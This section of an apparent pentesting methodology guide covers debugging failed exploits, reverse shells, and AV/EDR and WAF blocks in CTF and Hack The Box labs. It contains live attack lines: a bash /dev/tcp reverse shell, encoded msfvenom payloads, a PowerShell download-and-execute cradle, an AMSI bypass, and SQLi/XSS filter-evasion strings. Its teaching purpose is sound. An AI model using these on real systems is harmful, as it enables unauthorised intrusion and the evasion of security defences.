Every practitioner gets stuck. The difference between someone who gets through boxes and someone who does not is not talent — it is methodology. Random attempts produce random results. Systematic debugging produces answers. This section is about what to do when the exploit does not work, the shell does not land, the path you were on turns out to be a dead end, and you have been staring at the same terminal for forty-five minutes. There is always a next step. This section is about finding it.
🔰 Beginners: Getting stuck is not failure — it is the learning. This section gives you the systematic approach that turns being stuck into being a few steps away from the answer.
⚡ Seasoned practitioners: The AV/EDR debugging and pivoting to different attack vectors sections contain structured frameworks worth having as reference even when the techniques are familiar.
Before you start — know these terms:
- Debugging — the systematic process of finding why something is not working. Not guessing. Not trying random things. Working through possibilities in a logical order to isolate the cause.
- Pivot — changing your approach. When one path is blocked, a pivot means identifying and moving to a different path rather than continuing to push against the same wall.
- Attack surface — all the possible points where an attacker could try to enter or extract data. When one point fails, the attack surface contains others.
- Rabbit hole — a path that seems promising but leads nowhere. Recognizing rabbit holes early and getting out of them is as important as finding the right path.
- The Debugging Mindset
- Debugging a Failed Exploit
- Debugging a Shell That Will Not Connect
- Debugging a Shell That Keeps Dropping
- Debugging AV and EDR Blocks
- Debugging WAF Blocks
- When to Pivot — Recognizing Dead Ends
- Pivoting to a Different Attack Vector
- The Stuck Workflow — A System for Getting Unstuck
- Common CTF Mistakes and Fixes
- Mental Discipline — The Invisible Skill
- CTF vs Real World
Plain English:
Debugging is not about trying things randomly until something works. It is about asking one question at a time and getting a definitive answer before moving to the next question.
Think of it like a doctor diagnosing a patient. The doctor does not try every treatment at once. They ask: does the patient have a fever? Yes or no. If yes — what kind? They narrow the possibilities systematically until only one answer remains.
Every failed exploit, every dropped shell, every blocked request has a reason. Your job is to find that reason — not to find a different exploit to try randomly.
The debugging loop:
Observation → Hypothesis → Test → Result → New Hypothesis
- Observation: What exactly is happening? Not "it does not work" — but specifically what output you are seeing, what error message appears, what the network traffic shows.
- Hypothesis: Why might this be happening? Generate one specific explanation.
- Test: Do one thing that would confirm or deny your hypothesis.
- Result: Did it confirm or deny? Either way you know more.
- New hypothesis: Based on the result, form the next hypothesis.
When an exploit runs but does not produce the expected result, work through this checklist in order.
# Is the service actually running on the port you think?
nmap -sV -p TARGET_PORT TARGET_IP
# Is the version exactly what you think it is?
# Version detection can be imprecise — dig deeper
nmap -sV --version-intensity 9 -p TARGET_PORT TARGET_IP
# Banner grab directly
nc -nv TARGET_IP TARGET_PORT
# Or
curl -v TARGET_IP:TARGET_PORT💡 Version precision matters. An exploit for 2.4.49 does not work on 2.4.48. Even a minor version difference can mean the vulnerability does not exist or the exploit path is different. Confirm the exact version before assuming the exploit should work.
# Open the exploit and read every line
cat exploit.py
# or
code exploit.py
# Questions to answer:
# What exact version does this target?
# What configuration does it require?
# What port does it expect?
# What does success look like according to the author?
# Are there any notes about known issues?
# When was it written — is it targeting an old environment?# Python exploits — are all imports available?
# Check the import statements at the top of the file
head -20 exploit.py
# Install missing dependencies
pip3 install MISSING_MODULE
# Check Python version compatibility
python3 exploit.py
# If syntax errors appear it may be a Python 2 exploit
python2 exploit.py
# For C exploits — compile with correct flags
gcc exploit.c -o exploit
gcc exploit.c -o exploit -lssl -lcrypto # if SSL needed# Open the exploit and check every variable
# Common ones to verify:
# IP address — is it exactly right? No typos?
# Port number — matches what nmap found?
# Your IP — are you using the right interface?
# On HTB: tun0 IP, not eth0 or wlan0
# Callback port — does it match your listener?
# Get your exact tun0 IP
ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'# Add debug output to Python exploits
python3 exploit.py -v
python3 exploit.py --debug
python3 exploit.py --verbose
# For exploits without verbose flags — add print statements
# Open the exploit, add: print("[*] Sending payload...")
# before key steps to see where execution stops
# Watch network traffic while running
# On YOUR machine while exploit runs:
tcpdump -i tun0 -nn port TARGET_PORT# Is there a newer version of this exploit?
searchsploit -u # update the database
searchsploit SERVICE VERSION # search again
# Check GitHub for updated versions
# Search: "CVE-XXXX-XXXX exploit github"
# Look for forks of the original with fixes
# Check Exploit-DB comments
# The Exploit-DB entry often has comments noting issues
# and community fixes# Search for other exploits for the same CVE
searchsploit CVE-XXXX-XXXX
searchsploit SERVICE VERSION
# Check Metasploit for a module
msfconsole -q
search CVE-XXXX-XXXX
search SERVICE
# If a Metasploit module exists and the standalone fails
# try the module — it may handle edge cases better
use exploit/MODULE/PATH
show options
set RHOSTS TARGET_IP
runWhen the exploit appears to run but no shell arrives:
Step 1 — Is your listener running?
Check the terminal — is nc waiting?
nc -lvnp 4444
Should show: listening on [any] 4444 ...
Step 2 — Are the IPs matching?
Your listener IP must match what is in the exploit
On HTB: ip addr show tun0 → use THAT IP
Not 127.0.0.1, not eth0, not wlan0
Step 3 — Are the ports matching?
Listener port must match payload port exactly
listener: nc -lvnp 4444
payload: /dev/tcp/YOUR-IP/4444
Both must be 4444
Step 4 — Can the target reach you?
Test with a ping first
On your machine: tcpdump -i tun0 icmp
Inject: ping -c 1 YOUR-IP
If ping arrives in tcpdump → network path works
If nothing arrives → routing issue
Step 5 — Is the port blocked?
Try port 80 or 443 instead of 4444
nc -lvnp 443
Change payload to use port 443
Step 6 — Is /dev/tcp available?
Not all systems support /dev/tcp
Try python3 reverse shell instead
Try netcat named pipe method instead
Step 7 — Did the command actually execute?
Add a simpler test first
If you have RCE: ping -c 1 YOUR-IP
Watch tcpdump — confirms execution before reverse shell
You get a shell but it dies quickly or mid-command:
# Cause 1 — Shell is not stabilized
# Fix: Immediately run Python PTY upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo; fg → export TERM=xterm
# Cause 2 — Timeout in the web application
# The shell is spawned by a web request that has a timeout
# Fix: Move to a more persistent shell
# Use the initial shell to add an SSH key or cron job
# Then connect via that more stable method
# Cause 3 — The process the shell is attached to dies
# Fix: Use nohup or disown to detach
nohup bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &
disown
# Cause 4 — Network instability (common on busy HTB servers)
# Fix: Use a more resilient shell
# Socat with reconnect options
# Or Metasploit handler with AutoRunScript to re-establish
# Cause 5 — Box is resetting (HTB scheduled resets)
# Check HTB forums/Discord for reset schedule
# Time your work accordingly
# Keeping a shell alive — heartbeat trick
# Run this in a separate thread to prevent timeout
while true; do echo "keepalive"; sleep 30; done &When your payload is being detected and killed:
# Step 1 — Confirm it is actually AV killing it
# Does the file disappear after being uploaded?
# → AV is quarantining it on write
# Does the process start and immediately die?
# → AV or EDR is killing it on execution
# Does nothing happen at all?
# → May be a different issue — check network first
# Step 2 — Identify what is being detected
# Upload to antiscan.me (does NOT share with AV vendors)
# https://antiscan.me
# See which engines detect it and what they call it
# The detection name often tells you which part triggered
# Step 3 — Change the obvious signatures
# msfvenom default payloads are heavily signatured
# Try a different payload type
msfvenom -p windows/x64/shell_reverse_tcp ... # try x64 vs x86
msfvenom -p windows/shell/reverse_tcp ... # staged vs stageless
# Step 4 — Encode the payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=YOUR-IP LPORT=4444 \
-e x86/shikata_ga_nai -i 10 \
-f exe -o encoded.exe
# Step 5 — Try a different format
# Different file formats trigger different detection paths
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=YOUR-IP LPORT=4444 \
-f dll -o shell.dll # DLL instead of EXE
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=YOUR-IP LPORT=4444 \
-f ps1 -o shell.ps1 # PowerShell script
# Step 6 — Try in-memory execution
# Never write the payload to disk
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR-IP/shell.ps1')"
# Step 7 — Try LOLBins
# Use trusted Windows binaries instead of custom payloads
# See evasion/av-waf-evasion.md for the full LOLBins list
# Step 8 — AMSI bypass for PowerShell
# If PowerShell scripts are being blocked
$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
$b=$a.GetField('amsi'+'InitFailed','NonPublic,Static')
$b.SetValue($null,$true)
# Then execute your scriptWhen web-based exploits are being blocked:
# Step 1 — Confirm it is the WAF blocking, not the application
# WAF blocks return specific HTTP status codes:
# 403 Forbidden → WAF blocked the request
# 406 Not Acceptable → WAF rejected the content
# 501 Not Implemented → WAF blocking specific methods
# Custom page with "blocked" or "denied" message
# A 200 with no results or a 500 with application error
# → Not the WAF — the application received the request
# Step 2 — Identify the WAF
wafw00f http://target.com
# Tells you which WAF product is running
# Knowing the WAF helps find known bypasses
# Step 3 — Try basic encoding
# URL encode your payload
# %27 instead of '
# %20 instead of space
# %3D instead of =
# Step 4 — Try case variation
' uNiOn SeLeCt 1,2,3-- -
<ScRiPt>alert(1)</ScRiPt>
# Step 5 — Try comment insertion
' UN/**/ION SEL/**/ECT 1,2,3-- -
# Step 6 — Use SQLmap tamper scripts for SQLi
sqlmap -u "URL" --tamper=space2comment,randomcase
# See evasion/av-waf-evasion.md for full tamper script list
# Step 7 — Try different HTTP methods
# WAF rules sometimes only apply to GET, not POST
# Or only check specific parameters
# Try moving the payload to a different parameter or header
# Step 8 — Check if WAF has a bypass mode
# Some WAFs have a monitoring mode that logs but does not block
# Look for inconsistent blocking behavior
# Sometimes the same payload works from a different IP or user agentPlain English: A dead end is when you have genuinely exhausted all reasonable options on a particular path. Not when one attempt failed — when systematic investigation has ruled out that path.
The hardest skill in penetration testing is knowing when to stop pushing against a wall and look for a different wall.
Signs you are in a dead end:
You have tried the same approach more than 3 times with
variations and gotten the same result
→ The approach is wrong, not the execution
You cannot find any public exploit for the service version
after checking SearchSploit, Exploit-DB, GitHub, and Google
→ This version may not be the intended path
The vulnerability you found requires conditions that are
not present on this target
→ The vulnerability exists but this target is not affected
You have been on the same path for more than 30-45 minutes
on a CTF box with no progress
→ Time to enumerate more — you are missing something
The 20-minute rule for CTF:
If you have been actively working on one specific technique or exploit for 20 minutes with no progress — stop. Do not try one more thing. Step back and enumerate more. CTF boxes are designed to be solved. If nothing is working, you are missing information.
When the current path is blocked, use this framework to identify what else is available:
# What did you find initially?
# Review your nmap output
cat nmap.txt
# Did you scan ALL ports?
nmap -sV -sC -p- --min-rate 5000 TARGET_IP -oN full_scan.txt
# Did you scan UDP?
nmap -sU --top-ports 20 TARGET_IP
# Did you enumerate web fully?
gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster vhost -u http://TARGET_IP -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# Did you check for virtual hosts?
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.TARGET_DOMAIN" -u http://TARGET_IP# List every open port and service
cat nmap.txt | grep "open"
# For each service — have you fully enumerated it?
# Port 21 FTP:
# → Anonymous login?
# → Version with known exploits?
# → Any files accessible?
# Port 22 SSH:
# → Version with known vulnerabilities?
# → Any usernames found elsewhere to try?
# → Any SSH keys found via LFI or other means?
# Port 80/443 HTTP:
# → Full directory enumeration done?
# → Any parameters to test for injection?
# → Source code reviewed for clues?
# → Headers reveal any technology?
# → Cookies contain interesting data?
# Port 139/445 SMB:
# → Null session attempted?
# → Shares enumerated?
# → Version checked for EternalBlue?# What have you assumed that might be wrong?
# "This is a Linux box" — are you sure?
# Some boxes run Windows but show Linux-style output through a web app
# "Port 80 is just a static page" — did you check everything?
# Hidden directories? Parameters? Different HTTP methods?
# "The version is X" — is your version detection accurate?
# Try manual banner grabbing
nc -nv TARGET_IP PORT
# "Authentication is required" — did you try default credentials?
# admin/admin, admin/password, root/root, guest/guest
# Check the software documentation for defaults# Did you find usernames anywhere?
# → Try them on SSH, FTP, web login, SMB
# → Look them up in /etc/passwd via LFI
# → Try common passwords for those users
# Did you find emails?
# → Domain name in the email may reveal virtual hosts
# → Username format may work on other services
# Did you find software names or version strings?
# → Search for vulnerabilities specifically on those
# → Check if default install paths are accessible
# Did you find file paths in error messages?
# → Those paths reveal the server structure
# → May point to readable configuration files
# Did you find internal hostnames?
# → Add to /etc/hosts and try accessing them
# → May reveal internal servicesWhen you are completely stuck — use this exact sequence:
1. STOP trying things for 5 minutes
Seriously. Step away from the keyboard.
The next attempt made in frustration is rarely the right one.
2. WRITE DOWN everything you have found
Every open port
Every service and version
Every directory or page you found
Every username, email, or credential
Every error message you received
Every technique you tried and what happened
3. LOOK for what you have not tried
Not what you tried harder — what you have not tried at all
Check each service against GTFOBins / LOLBAS / Exploit-DB
Have you tried EVERY service?
4. GOOGLE the service and version
"SERVICE VERSION exploit"
"SERVICE VERSION CVE"
"SERVICE VERSION pentesting"
"SERVICE VERSION hackthebox" ← yes, people write guides
5. CHECK the fundamentals
Are you using the right IP?
Are you on the right network?
Is the service actually running right now?
Did the box reset?
6. ENUMERATE deeper
Run a full port scan if you only did top 1000
Run UDP if you only did TCP
Run a bigger wordlist if gobuster found nothing
7. ASK for a nudge — not the answer
HTB forums, Discord, Reddit r/netsec
"I found X, Y, Z and tried A, B, C — what am I missing?"
A nudge in the right direction is learning
The full solution is not
# Symptom: exploit fires, nothing arrives on listener
# Cause: using wrong interface IP
# Fix: always verify tun0 IP before every exploit
ip -4 addr show tun0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'
# Copy that exact IP — paste it — do not type it# Symptom: exploit fires, nothing arrives, no error
# Cause: nothing was listening when target tried to connect
# Fix: listener first, always
# Terminal 1: rlwrap nc -lvnp 4444
# Terminal 2: run exploit
# Never in the other order# Symptom: exploit fires, listener on 4444, nothing arrives
# Cause: payload set to port 5555, listener on 4444
# Fix: verify ports match exactly before running
# Check the exploit: grep -i "port\|lport\|4444\|5555" exploit.py
# Check your listener: what port did you actually start nc on?# Symptom: shell dies when pressing Ctrl+C
# sudo prompts do not work
# vim displays garbage
# Fix: stabilize immediately on landing
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo; fg → export TERM=xterm# Symptom: shell drops before getting the flag
# Cause: enumerated instead of grabbing flag first
# Fix: flag first, always
cat /home/*/user.txt 2>/dev/null
find / -name user.txt 2>/dev/null# Symptom: stuck for an hour, finally run full scan,
# find a service on a high port that was the whole path
# Fix: run full port scan in background from the start
# Terminal 1: quick scan (immediate results)
nmap -sV -sC --top-ports 1000 TARGET_IP -oN quick.txt
# Terminal 2: full scan (running in background while you work)
nmap -sV -sC -p- --min-rate 5000 TARGET_IP -oN full.txt# Symptom: exploits for the version do not work
# Cause: nmap version detection was wrong
# Fix: verify version manually
nc -nv TARGET_IP PORT
# Read the banner carefully
# Sometimes services are configured to show wrong versions
curl -I http://TARGET_IP
# Check headers for version strings# Symptom: exploit fails, you try a different one
# Cause: the error message told you exactly what was wrong
# but you did not read it
# Fix: read every error message carefully
# Error messages contain:
# → What the exploit tried to do
# → What went wrong
# → Sometimes the exact fix needed
# Run exploits with verbose output
python3 exploit.py -v 2>&1 | tee exploit_output.txt
# Save output and read itPlain English: Getting stuck is an emotional experience as much as a technical one. Frustration, tunnel vision, and ego are as much of an obstacle as the firewall or the AV. The practitioners who consistently get through hard boxes are not smarter — they are more disciplined about managing their own mental state.
Tunnel vision is the biggest enemy. After working on one approach for a long time, your brain starts filtering out information that does not fit that approach. You stop seeing alternatives. The cure is a forced reset — stop, write down everything, look at the whole picture again as if for the first time.
Frustration makes you sloppy. You start trying things without thinking. You make mistakes you would not normally make. You miss things that are obvious in a calmer state. The 5-minute break in the stuck workflow is not optional — it is the most productive thing you can do at that moment.
Ego makes you avoid asking for help. You tell yourself you should be able to figure this out. A nudge from someone who has done the box is not cheating — it is efficient learning. Ask for hints early, not after three hours of banging your head against the same wall.
The reframe: Being stuck means you are at the edge of your current knowledge. That is exactly where learning happens. Every box that felt impossible and then clicked produced more learning than every box that was straightforward. The hard ones are the valuable ones.
| CTF | Real Engagement | |
|---|---|---|
| Being stuck | Normal — part of the challenge | Expensive — engagement has a clock |
| Time limit | Box timer or competition clock | Engagement window — often 1-2 weeks |
| When to ask for help | Nudge after genuine effort | Escalate to team lead |
| Pivoting | Try another service or technique | Document dead end, try next vector |
| Documentation | Notes for writeup | Critical — every attempt logged |
| Giving up on a path | After 20-30 minutes of no progress | After systematic elimination |
| AV debugging | Rare — boxes usually have it disabled | Standard part of the workflow |
| WAF debugging | Sometimes | Very common |
| Mental state | Personal discipline | Professional obligation |
| Learning from failure | The whole point | Post-engagement review |
| Resource | What It Covers |
|---|---|
| Manual Exploitation | When exploits need manual adjustment |
| Evasion | When AV/WAF is the obstacle |
| Shells | When the shell is the problem |
| Vuln Research | Finding alternative exploits |
| Advanced Chaining | When single exploits fail — chain |
by SudoChef · Part of the SudoCode Pentesting Methodology Guide